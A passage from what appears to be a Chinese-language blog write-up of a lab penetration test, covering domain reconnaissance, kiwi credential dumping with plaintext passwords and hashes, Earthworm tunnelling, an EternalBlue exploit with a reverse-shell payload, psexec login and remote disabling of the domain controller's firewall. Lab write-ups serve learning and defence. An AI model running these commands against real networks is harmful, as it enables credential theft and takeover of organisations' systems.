                           [01]: Intel64 Family 6 Model 158 Stepping 10 GenuineIntel ~2592 Mhz
BIOS Version:              Phoenix Technologies LTD 6.00, 2020/7/22
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             zh-cn;Chinese (China)
Input Locale:              zh-cn;Chinese (China)
Time Zone:                 (UTC+08:00) Beijing, Chongqing, Hong Kong, Urumqi
Total Physical Memory:     2,047 MB
Available Physical Memory: 306 MB
Virtual Memory: Max Size:  4,095 MB
Virtual Memory: Available: 1,565 MB
Virtual Memory: In Use:    2,530 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    whoamianony.org
Logon Server:              N/A
Hotfix(s):                 4 Hotfix(s) Installed.
                           [01]: KB2534111
                           [02]: KB2999226
                           [03]: KB958488
                           [04]: KB976902
Network Card(s):           4 NIC(s) Installed.
                           [01]: Intel(R) PRO/1000 MT Network Connection
                                 Connection Name: 本地连接
                                 DHCP Enabled:    No
                                 IP address(es)
                                 [01]: 192.168.52.30
                                 [02]: fe80::481d:3bc4:e671:f945
                                 [03]: fd15:4ba5:5a2b:1008:d5a6:4c1e:3d3b:8db0
                                 [04]: fd15:4ba5:5a2b:1008:481d:3bc4:e671:f945
                           [02]: Bluetooth 设备(个人区域网)
                                 Connection Name: Bluetooth 网络连接
                                 Status:          Media disconnected
                           [03]: Microsoft Loopback Adapter
                                 Connection Name: Npcap Loopback Adapter
                                 DHCP Enabled:    Yes
                                 DHCP Server:     255.255.255.255
                                 IP address(es)
                                 [01]: 169.254.129.186
                                 [02]: fe80::b461:ccad:e30f:81ba
                           [04]: Intel(R) PRO/1000 MT Network Connection
                                 Connection Name: 本地连接 4
                                 DHCP Enabled:    No
                                 IP address(es)
                                 [01]: 192.168.93.20
                                 [02]: fe80::4470:563b:f7c2:3f8a

有几条需要特别关注的信息:

域: whoamianony.org
补丁: [01]: KB2534111 [02]: KB2999226  [03]: KB958488 [04]: KB976902
IP:192.168.52.30 、192.168.93.20      

从之前的DMZ和二层网络渗透的过程来看,192.168.52.0/24这个网段是二层网络的网段,92.168.93.0/24这个网段因该就是三层网络的网段了。ipconfig执行结果也类似:

3)ipconfig /all

可以看出域环境为whoamianony.org

4)route print 路由信息

5)net start查看开启了哪些服务

c:\Windows\System32>net start
net start
These Windows services are started:

   Application Experience
   Application Information
   Base Filtering Engine
   Bluetooth Support Service
   COM+ Event System
   Computer Browser
   Cryptographic Services
   DCOM Server Process Launcher
   Desktop Window Manager Session Manager
   DHCP Client
   Diagnostic Policy Service
   Diagnostic Service Host
   Diagnostic System Host
   Distributed Link Tracking Client
   Distributed Transaction Coordinator
   DNS Client
   Group Policy Client
   IKE and AuthIP IPsec Keying Modules
   IP Helper
   IPsec Policy Agent
   MySQL5_OA
   Netlogon
   Network Connections
   Network List Service
   Network Location Awareness
   Network Store Interface Service
   Office_Daemon
   Office_DbProxy
   Office_IM
   Office_Index
   Office_Mail
   Office_MQ
   Office_POP3
   Office_Redis
   Office_Task
   Office_Web
   Offline Files
   Plug and Play
   Power
   Print Spooler
   Program Compatibility Assistant Service
   Remote Procedure Call (RPC)
   RPC Endpoint Mapper
   Security Accounts Manager
   Security Center
   Server
   Shell Hardware Detection
   Software Protection
   SPP Notification Service
   System Event Notification Service
   Task Scheduler
   TCP/IP NetBIOS Helper
   Themes
   TP AutoConnect Service
   User Profile Service
   VMware Alias Manager and Ticket Service
   VMware Tools
   VMware ��������������
   Windows Audio
   Windows Audio Endpoint Builder
   Windows Defender
   Windows Event Log
   Windows Firewall
   Windows Font Cache Service
   Windows Management Instrumentation
   Windows Search
   Windows Time
   Windows Update
   Workstation

The command completed successfully.

6)net share 查看开启了哪些共享

c:\Windows\System32>net share
net share

Share name   Resource                        Remark

-------------------------------------------------------------------------------
C$           C:\                             Ĭ�Ϲ���                              
IPC$                                         Զ�� IPC                            
ADMIN$       C:\Windows                      Զ����                              
The command completed successfully.

在 Windows 系统中,net share 命令用于显示或管理网络共享资源。从您提供的命令输出来看,列出了几个默认的 Windows 共享:

  1. C$ - 这是 C 盘的默认共享,允许管理员在网络上访问 C 盘根目录。在命令输出中显示为乱码,这可能是由于命令行界面的字符编码设置不正确导致的。
  2. IPC$ - 这是 Windows 的命名管道共享,用于进程间通信(IPC)。它不对应于文件系统中的实际路径,而是用于远程管理服务。
  3. ADMIN$ - 这是 Windows 系统中的默认管理共享,通常指向 Windows 目录(C:\Windows),用于远程管理。

7)net user 查看本机用户

c:\Windows\System32>net user
net user

User accounts for \\

-------------------------------------------------------------------------------
Administrator            Guest                    
The command completed with one or more errors.

可以看到Administrator 和 Guest 用户。

8.5.3 域内信息收集

1)域内其他主机名

net view

可以看到域内还有一台域控。

2)查看arp缓存

c:\Windows\System32>arp -a
arp -a

Interface: 192.168.52.30 --- 0xb
  Internet Address      Physical Address      Type
  192.168.52.1          fa-ff-c2-c2-93-66     dynamic   
  192.168.52.10         00-0c-29-b3-0c-c2     dynamic   
  192.168.52.20         00-0c-29-cd-28-24     dynamic   
  192.168.52.255        ff-ff-ff-ff-ff-ff     static    
  224.0.0.22            01-00-5e-00-00-16     static    
  224.0.0.252           01-00-5e-00-00-fc     static    

Interface: 169.254.129.186 --- 0x16
  Internet Address      Physical Address      Type
  169.254.255.255       ff-ff-ff-ff-ff-ff     static    
  224.0.0.22            01-00-5e-00-00-16     static    
  224.0.0.252           01-00-5e-00-00-fc     static    
  255.255.255.255       ff-ff-ff-ff-ff-ff     static    

Interface: 192.168.93.20 --- 0x17
  Internet Address      Physical Address      Type
  192.168.93.1          fa-ff-c2-c2-93-65     dynamic   
  192.168.93.10         00-0c-29-cd-28-2e     dynamic   
  192.168.93.30         00-0c-29-9f-f6-36     dynamic   
  192.168.93.40         00-0c-29-aa-22-ae     dynamic   
  192.168.93.255        ff-ff-ff-ff-ff-ff     static    
  224.0.0.22            01-00-5e-00-00-16     static    
  224.0.0.252           01-00-5e-00-00-fc     static    

c:\Windows\System32>

可以看到除了本机93.20外还有93.30和93.40的主机,可能两者之中的某一个就是域控,也就是我们的终极目标。

3)net config workstation

查看计算机名、全名、用户名、系统版本、工作站、域、登录域

没有查询到可用信息。

4)net user /domain 查看域用户

c:\Windows\System32>net user /domain
net user /domain
The request will be processed at a domain controller for domain whoamianony.org.

System error 5 has occurred.

Access is denied.


c:\Windows\System32>

访问被拒绝了。

5)net localgroup administrators 查看本地管理员组(通常会有域用户)

c:\Windows\System32>net localgroup administrators
net localgroup administrators
Alias name     administrators
Comment        ����Ա�Լ�����/���в������Ƶ���ȫ����Ȩ

Members

-------------------------------------------------------------------------------
Administrator
The command completed successfully.

Administrator大概率就是域管理员用户了。

6)net view /domain 查看有几个域

c:\Windows\System32>net view /domain
net view /domain
Domain

-------------------------------------------------------------------------------
WHOAMIANONY          
The command completed successfully.

只有一个域。

7)net user 用户名 /domain 获取指定域用户的信息

c:\Windows\System32>net user Administrator /domain
net user Administrator /domain
The request will be processed at a domain controller for domain whoamianony.org.

System error 5 has occurred.

Access is denied.

获取失败。

8)net group /domain

查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)

c:\Windows\System32>net group /domain
net group /domain
The request will be processed at a domain controller for domain whoamianony.org.

System error 5 has occurred.

Access is denied.

报了相同的错误,报这些错误的命令应该只能在DC上执行。

9)net group 组名 /domain 查看域中某工作组

c:\Windows\System32>net group Administrators /domain
net group Administrators /domain
The request will be processed at a domain controller for domain whoamianony.org.

System error 5 has occurred.

Access is denied.

10)net group “domain admins” /domain 查看域管理员的名字

c:\Windows\System32>net group "domain admins" /domain 
net group "domain admins" /domain 
The request will be processed at a domain controller for domain whoamianony.org.

System error 5 has occurred.

Access is denied.

11) net group “domain computers” /domain 查看域中的其他主机名

c:\Windows\System32>net group "domain computers" /domain 
net group "domain computers" /domain 
The request will be processed at a domain controller for domain whoamianony.org.

System error 5 has occurred.

Access is denied.

12)net group “domain controllers” /domain 查看域控制器(可能有多台)

c:\Windows\System32>net group "domain controllers" /domain  
net group "domain controllers" /domain  
The request will be processed at a domain controller for domain whoamianony.org.

System error 5 has occurred.

Access is denied.

小结

收集到的信息非常少,但是去靶场主机上执行是可以收集到相应的域信息的,可能还是meterpreter的权限不够。

8.5.4 基于msf的后渗透模块收集域信息

1)获取登陆用户的SID

meterpreter> run post/windows/gather/enum_logged_on_users
meterpreter > run post/windows/gather/enum_logged_on_users 

[*] Running against session 1102

Current Logged Users
====================

 SID                                             User
 ---                                             ----
 S-1-5-18                                        NT AUTHORITY\SYSTEM
 S-1-5-21-1315137663-3706837544-1429009142-1112  WHOAMIANONY\bunny
 S-1-5-21-1315137663-3706837544-1429009142-500   WHOAMIANONY\Administrator


[+] Results saved in: /root/.msf4/loot/20250117030327_default_192.168.52.30_host.users.activ_551562.txt

Recently Logged Users
=====================

 SID                                             Profile Path
 ---                                             ------------
 S-1-5-18                                        %systemroot%\system32\config\systemprofile
 S-1-5-19                                        C:\Windows\ServiceProfiles\LocalService
 S-1-5-20                                        C:\Windows\ServiceProfiles\NetworkService
 S-1-5-21-1315137663-3706837544-1429009142-1112  C:\Users\bunny
 S-1-5-21-1315137663-3706837544-1429009142-500   C:\Users\administrator.WHOAMIANONY
 S-1-5-21-1982601180-2087634876-2293013296-1000  C:\Users\liukaifeng01
 S-1-5-21-2952760202-1353902439-2381784089-500   C:\Users\Administrator

可以看到用户有:NT AUTHORITY\SYSTEM、WHOAMIANONY\bunny、WHOAMIANONY\Administrator 三个用户。

第一个通过meterpreter登录的用户,WHOAMIANONY\Administrator 是域管理员。

2)获取域控信息及域内主机信息

run post/windows/gather/enum_domain

可以看到域控是192.168.93.30.

3)域内所有机器

run post/windows/gather/enum_ad_computers 
meterpreter > run post/windows/gather/enum_ad_computers 

[-] extapi_adsi_domain_query: Operation failed: 2147943726

总结

目前掌握的几个关键信息:

  • 域:whoamianony.org

  • 域控:192.168.93.30

  • 域控主机名:DC.whoamianony.org

  • 域管理员:Administrator

九、kiwi抓取域用户密码

7.1 加载kiwi

Kiwi 是 Metasploit 框架中的一个模块,它是一个类似于mimikatz的工具,但比mimikatz更强大。Kiwi模块能够从Windows系统中提取多种凭据信息,包括哈希值、明文密码等。它能够从多种来源获取这些敏感信息,例如LSASS(本地安全权限服务)进程、注册表、以及域控制器的内存等。加载kiwi模块后,可以使用kiwi_cmd命令来提取凭据信息。此外,mimikatz模块已经合并为kiwi模块,可以使用mimikatz_command命令获取明文密码。

7.2 抓取用户口令

kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords

抓取到的用户凭证:

meterpreter > kiwi_cmd sekurlsa::logonPasswords

Authentication Id : 0 ; 1573149 (00000000:0018011d)
Session           : CachedInteractive from 1
User Name         : Administrator
Domain            : WHOAMIANONY
Logon Server      : DC
Logon Time        : 2024/12/31 17:49:38
SID               : S-1-5-21-1315137663-3706837544-1429009142-500
        msv :
         [00000003] Primary
         * Username : Administrator
         * Domain   : WHOAMIANONY
         * LM       : 56b0cd8b125c05055e2dd9e955f18034
         * NTLM     : ab89b1295e69d353dd7614c7a3a80cec
         * SHA1     : 2bc4124300a6a8fc0ca10891823d36c64e4b3a40
        tspkg :
         * Username : Administrator
         * Domain   : WHOAMIANONY
         * Password : Whoami2021
        wdigest :
         * Username : Administrator
         * Domain   : WHOAMIANONY
         * Password : Whoami2021
        kerberos :
         * Username : Administrator
         * Domain   : WHOAMIANONY.ORG
         * Password : Whoami2021
        ssp :
        credman :

Authentication Id : 0 ; 1338474 (00000000:00146c6a)
Session           : Interactive from 1
User Name         : bunny
Domain            : WHOAMIANONY
Logon Server      : DC
Logon Time        : 2024/12/31 17:47:43
SID               : S-1-5-21-1315137663-3706837544-1429009142-1112
        msv :
         [00000003] Primary
         * Username : bunny
         * Domain   : WHOAMIANONY
         * LM       : 7de10bf327ef7f2ac6ebe8776a153feb
         * NTLM     : cc567d5556030b7356ee4915ff098c8f
         * SHA1     : 3747632756191e3350e53211c63f804eb163638f
        tspkg :
         * Username : bunny
         * Domain   : WHOAMIANONY
         * Password : Bunny2021
        wdigest :
         * Username : bunny
         * Domain   : WHOAMIANONY
         * Password : Bunny2021
        kerberos :
         * Username : bunny
         * Domain   : WHOAMIANONY.ORG
         * Password : Bunny2021
        ssp :
        credman :

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2024/12/31 17:43:54
SID               : S-1-5-19
        msv :
        tspkg :
        wdigest :
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        kerberos :
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : PC1$
Domain            : WHOAMIANONY
Logon Server      : (null)
Logon Time        : 2024/12/31 17:43:54
SID               : S-1-5-20
        msv :
         [00000003] Primary
         * Username : PC1$
         * Domain   : WHOAMIANONY
         * NTLM     : 3e6a3d8c713b4821eaa51aab25f52074
         * SHA1     : d8e1318a24c64b8fcc89dc8609b09af50342bacf
        tspkg :
        wdigest :
         * Username : PC1$
         * Domain   : WHOAMIANONY
         * Password : %Yn!@ZW,eWz5>[!hh;H.(&n(yh^2YADmU*2bVx<N#yvw.9MTwmi;84''uRaucL)mw7I42S>sUE#r&u]vz6\/:5A.s5nLrko+zfn@])/"$V6?sDZel=f>[ol;
        kerberos :
         * Username : pc1$
         * Domain   : whoamianony.org
         * Password : %Yn!@ZW,eWz5>[!hh;H.(&n(yh^2YADmU*2bVx<N#yvw.9MTwmi;84''uRaucL)mw7I42S>sUE#r&u]vz6\/:5A.s5nLrko+zfn@])/"$V6?sDZel=f>[ol;
        ssp :
        credman :

Authentication Id : 0 ; 50033 (00000000:0000c371)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 2024/12/31 17:43:54
SID               : 
        msv :
         [00000003] Primary
         * Username : PC1$
         * Domain   : WHOAMIANONY
         * NTLM     : 3e6a3d8c713b4821eaa51aab25f52074
         * SHA1     : d8e1318a24c64b8fcc89dc8609b09af50342bacf
        tspkg :
        wdigest :
        kerberos :
        ssp :
        credman :

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : PC1$
Domain            : WHOAMIANONY
Logon Server      : (null)
Logon Time        : 2024/12/31 17:43:54
SID               : S-1-5-18
        msv :
        tspkg :
        wdigest :
         * Username : PC1$
         * Domain   : WHOAMIANONY
         * Password : %Yn!@ZW,eWz5>[!hh;H.(&n(yh^2YADmU*2bVx<N#yvw.9MTwmi;84''uRaucL)mw7I42S>sUE#r&u]vz6\/:5A.s5nLrko+zfn@])/"$V6?sDZel=f>[ol;
        kerberos :
         * Username : pc1$
         * Domain   : WHOAMIANONY.ORG
         * Password : %Yn!@ZW,eWz5>[!hh;H.(&n(yh^2YADmU*2bVx<N#yvw.9MTwmi;84''uRaucL)mw7I42S>sUE#r&u]vz6\/:5A.s5nLrko+zfn@])/"$V6?sDZel=f>[ol;
        ssp :
        credman :

关键信息:

* Username : Administrator
* Domain   : WHOAMIANONY
* Password : Whoami2021
* Username : bunny
* Domain   : WHOAMIANONY
* Password : Bunny2021

成功抓取到域用户bunny和域管理员administrator的凭证:

  • bunny:Bunny2021

  • administrator:Whoami2021

十、三层网络隧道搭建

10.1 添加meterpreter路由

将msfconsole的流量通过session2路由到192.168.93.0网段。下面可以使用msf做三层网络的信息探测。

  • 三层网络主机发现
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.93.0/24
set threads 50
run

发现的ip:192.168.93.20、192.168.93.30、192.168.93.40

10.2 EW隧道搭建

路由转发只能将msfconsole带进内网,而要想将攻击机上的其他攻击程序也带进内网还需要搭建socks代理。我们使用earthworm搭建一个二级socks5代理服务。

10.2.1 攻击机

首先攻击机上执行如下命令添加一个转接隧道,监听1090端口,并将1090端口收到的代理请求发送给1235端口,执行命令:

./ew_for_linux64 -s lcx_listen -l 1090 -e 1235

10.2.2 二层网络的web服务器

然后在第二层网络的Windows服务器上传ew_for_Win.exe,并利用ssocksd方式启动999端口的正向socks代理,执行命令:

ew_for_Win.exe -s ssocksd -l 999

可以看到999端口已经开启了监听。

10.2.3 DMZ区的web1主机

最后,在DMZ区域的Ubuntu 18上传ew_for_linux64并利用lcx_slave方式,将攻击机的1235端口与第二层网络Windows 7的999端口连接起来,执行命令:

./ew_for_linux64 -s lcx_slave -d 192.168.1.7 -e 1235 -f 192.168.52.30 -g 999

10.2.4 配置proxychains

设置proxychains等代理工具,通过访问攻击机的1090端口来使用架设在第二层网络Windows主机上的socks代理服务,来进入第三层网络。

10.3 基于隧道用namp扫描核心网

proxychains4 nmap -Pn -sV -sT -O 192.168.93.40

上面是nmap的扫描结果,445端口开启,可以考虑尝试使用ms17_010进行渗透。

十一、三层核心网渗透

11.1 永恒之蓝

11.1.1 漏洞检测

通过添加路由将msf带入核心网之后,可以使用msf的扫描模块检测内网是否存在永恒之蓝漏洞。

use auciliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.93.30
set THREADS 50
exploit

通过检测发现,93.30 、93.40这两台主机均存在永恒之蓝漏洞。

11.1.2 漏洞利用

------------------			
use exploit/windows/smb/ms17_010_eternalblue	
set payload windows/x64/meterpreter/reverse_tcp
set RHOSTS 192.168.93.40
set LHOST 172.20.10.4
set LPORT 8877
msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit
----------------

上面这套流程走下来,利用失败了。

使用下面的参数设置:(注意内网环境的payload使用windows/x64/meterpreter/bind_tcp)

setg Proxies socks5:127.0.0.1:1090
use exploit/windows/smb/ms17_010_eternalblue	
set payload windows/x64/meterpreter/bind_tcp
set RHOSTS 192.168.93.40
set LHOST 192.168.93.40
set LPORT 8877
exploit
截屏2025-01-20 11.43.10

成功拿下三层核心网的主机PC2!

十二、攻击域控

其实,在上一小节已经探测到93.30这台主机存在ms17-010漏洞了。可以直接尝试使用ms12-010拿下域控制器,这里先尝试直接登录。

12.1 psexec登陆

现在我们手头已经有域管理密码(Whoami2021)了,可以尝试直接psexec登陆。

exploit/windows/smb/psexec 是 Metasploit 框架中的一个模块,用于通过 SMB 服务利用目标主机的漏洞,从而实现远程代码执行。该模块通常利用 Windows 的 psexec 功能,通过有效的用户凭据在目标系统上执行命令或获取 Meterpreter 会话。

use exploit/windows/smb/psexec
set rhosts 192.168.93.30
set SMBUser administrator
set SMBPass Whoami2021
set payload windows/meterpreter/bind_tcp
set lhost 192.168.93.30
set lport 7777
run

登录失败了,可能是防火墙的原因。

12.2 关闭域控防火墙

既然我们有域控制器的密码,也拿下了域内主机PC2的system权限,并且目标系统存在IPC共享,我们可以从PC2远程关闭域控的防火墙。

net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"

然后执行如下命令,使用sc远程在域制器(192.168.93.30)上创建服务关闭防火墙:

sc \\192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"

sc \\192.168.93.30 start unablefirewall

12.3 重新登录

成功获取meterpter连接。

成功拿下域控!✅

总结

关于本次三层网络靶场的综合渗透实战,涉及到的技术比较全面,从外网打点、内网横向到攻击域控。下面总结一下:

  • 拿下某个区域的某个主机所涉及的技术点:

    • DMZ-web1:Redis未授权访问getshell

    • 二层-web2:Laravel RCE CVE-2021-3129、php反弹shell、suid权限提升、Docker容器逃逸。

    • 二层-PC1:隧道搭建、通达OA RCE

    • 三层-PC2:隧道搭建、ms17-010

    • 三层-DC:smb/psexec

  • 所使用的重点工具:

    • nmap

    • CVE-2021-3129 POC

    • 蚁剑

    • Metasploit Framework

    • Earthworm

    • proxychains

    • Godzilla

    • msfvenom

    • kiwi

    • Tongda_scan

很多技术都是第一次用,再接再励!


文章作者: 司晓凯
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 司晓凯 !
  目录